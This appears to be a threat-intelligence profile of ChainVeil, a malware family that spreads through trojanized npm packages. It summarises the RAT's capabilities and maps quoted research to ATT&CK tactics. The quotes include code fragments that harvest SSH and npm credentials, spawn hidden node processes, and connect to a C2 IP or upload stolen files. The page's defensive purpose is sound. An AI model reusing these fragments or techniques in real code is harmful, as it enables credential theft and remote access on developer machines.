ChainVeil
- Type
- RAT
- Capabilities
- Credential theftExfiltrationPersistencePost exploitationDefense evasion
- Delivery
- Landing page
- Platforms
- LinuxmacOS
ChainVeil is a malicious software supply-chain operation centered on trojanized npm packages that execute payloads when imported rather than during installation. The activity has been attributed to the threat actor SuccessKey and is assessed by multiple researchers as part of the broader DPRK-linked PolinRider cluster. The campaign targeted software developers by publishing typosquatted and impersonating packages in the JavaScript ecosystem, including packages themed around common development tooling.
The malware chain uses a staged loader architecture backed by a resilient multi-tier command-and-control design that leverages Tron, Aptos, and Binance Smart Chain as dead-drop infrastructure for payload resolution. The initial package-resident code retrieves encrypted next-stage data from blockchain pointers, decrypts it, and executes it either directly in the main process or in a detached hidden child process. The final payload is a remote access trojan that provides reverse shell access, arbitrary command execution, JavaScript execution, background process spawning, process termination, system profiling, file upload, and recursive directory upload.
ChainVeil is also designed for credential access and data theft. Observed behavior includes harvesting shell configuration data, SSH material, and npm authentication data, with macOS-focused collection extending to exported Keychain-derived OAuth material. The malware exfiltrates stolen files and collected data to attacker-controlled infrastructure. For persistence, it appends hidden code to user shell startup files so the malware is re-executed when a new terminal session opens.
The malware incorporates defense-evasion and anti-analysis measures, including CI and sandbox detection, anti-debugging logic, obfuscation, anti-tampering checks, and replay-guard behavior. Related follow-on activity, especially ViteVenom, shares the same final RAT payload, overlapping blockchain infrastructure, and decryption logic, indicating either the same operator or a closely shared backend. ChainVeil primarily affects developer workstations running Node.js tooling on Linux and macOS, and can expose source code, credentials, and downstream software supply chains through compromised maintainer environments.
Associated threat actors
2 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
We are tracking this campaign as ChainVeil , attributed to the actor SuccessKey , and it appears to have been active since at least May 2026.
Techniques & procedures
24 distinct techniques documented for this family, organized by ATT&CK tactic.
Resource Development
1 technique
Resource Development
we found a malicious npm package called rate-limit-flexible — a typosquat of the popular legitimate package rate-limiter-flexible
Initial Access
1 technique
Initial Access
Checkmarx Zero’s ongoing research into malicious open-source libraries has uncovered and reported a targeted supply chain campaign
Execution
2 techniques
Execution
Once connected, the C2 operator has a full interactive shell: Any shell command Executed via child_process.exec() — full shell access
Stage 2A is eval()‘d directly in the main thread... Stage 2B is spawned as a detached, hidden, silent child process
Persistence
3 techniques
Persistence
Every time the developer opens a new terminal, the malware re-executes
Users who have installed the packages are advised to remove them immediately, audit dependencies, rotate all credentials, and look for unauthorized modifications to .bashrc, .zshrc, and .profile files.
The most insidious persistence mechanism is code injection into shell configuration files. Every time the developer opens a new terminal, the malware re-executes.
Privilege Escalation
3 techniques
Privilege Escalation
Every time the developer opens a new terminal, the malware re-executes
require ( 'child_process' ). spawn ( 'node' , [ '-e' , "global['_V']='" + campaignId + "';" + payload2 ], { detached : true , stdio : 'ignore' , windowsHide : true })
Users who have installed the packages are advised to remove them immediately, audit dependencies, rotate all credentials, and look for unauthorized modifications to .bashrc, .zshrc, and .profile files.
Stealth
5 techniques
Stealth
The rest of lib/lib.min.js is wrapped in an immediately-invoked function containing the YWG shuffler — a custom obfuscation layer
ViteVenom makes use of scoped package names in an attempt to impersonate the "@vitejs/*" namespace and lend it a veneer of legitimacy.
require ( 'child_process' ). spawn ( 'node' , [ '-e' , "global['_V']='" + campaignId + "';" + payload2 ], { detached : true , stdio : 'ignore' , windowsHide : true })
If it suspects it’s running inside a security researcher’s environment rather than on a real victim’s machine, it goes quiet
This snippet checks whether its own code contains a newline character... If it detects that tampering, it drops into while (true) {}
Defense Impairment
1 technique
Defense Impairment
The most insidious persistence mechanism is code injection into shell configuration files. Every time the developer opens a new terminal, the malware re-executes.
Credential Access
4 techniques
Credential Access
harvest ( "~/.npmrc" , ".npmrc" );
On macOS, it additionally reads Keychain exports, filtering for OAuth tokens
The most insidious persistence mechanism is code injection into shell configuration files. Every time the developer opens a new terminal, the malware re-executes.
harvest ( "~/.ssh/" , ".ssh" );
Discovery
4 techniques
Discovery
const platform = os.platform(); const hostname = os.hostname(); const uid = os.userInfo().uid
harvest ( "~/.bashrc" , ".bashrc" ); ... harvest ( "~/.ssh/" , ".ssh" ); harvest ( "~/.npmrc" , ".npmrc" );
If it suspects it’s running inside a security researcher’s environment rather than on a real victim’s machine, it goes quiet
This snippet checks whether its own code contains a newline character... If it detects that tampering, it drops into while (true) {}
Command and Control
6 techniques
Command and Control
If the Tron-based payload retrieval method fails, the malware uses Aptos as a backup.
const ws = WebSocket ( "ws://166.88.54.158:443" ... )
Stage 2B — the detached hidden process — skips the blockchain chain and fetches directly from the C2 over HTTP
It uses an unprecedented 4-tier blockchain-based Command and Control (C2) infrastructure spanning three blockchains (Tron, Aptos, Binance Smart Chain)
The endpoint /$/boot serves the XOR-encrypted RAT payload
deliver a remote access trojan (RAT) capable reverse shell, credential harvesting, file exfiltration, and persistent backdoor injection.
Exfiltration
1 technique
Exfiltration
await http.post ( C2_URL + "/upload" , formData
Observables
10 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
7 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.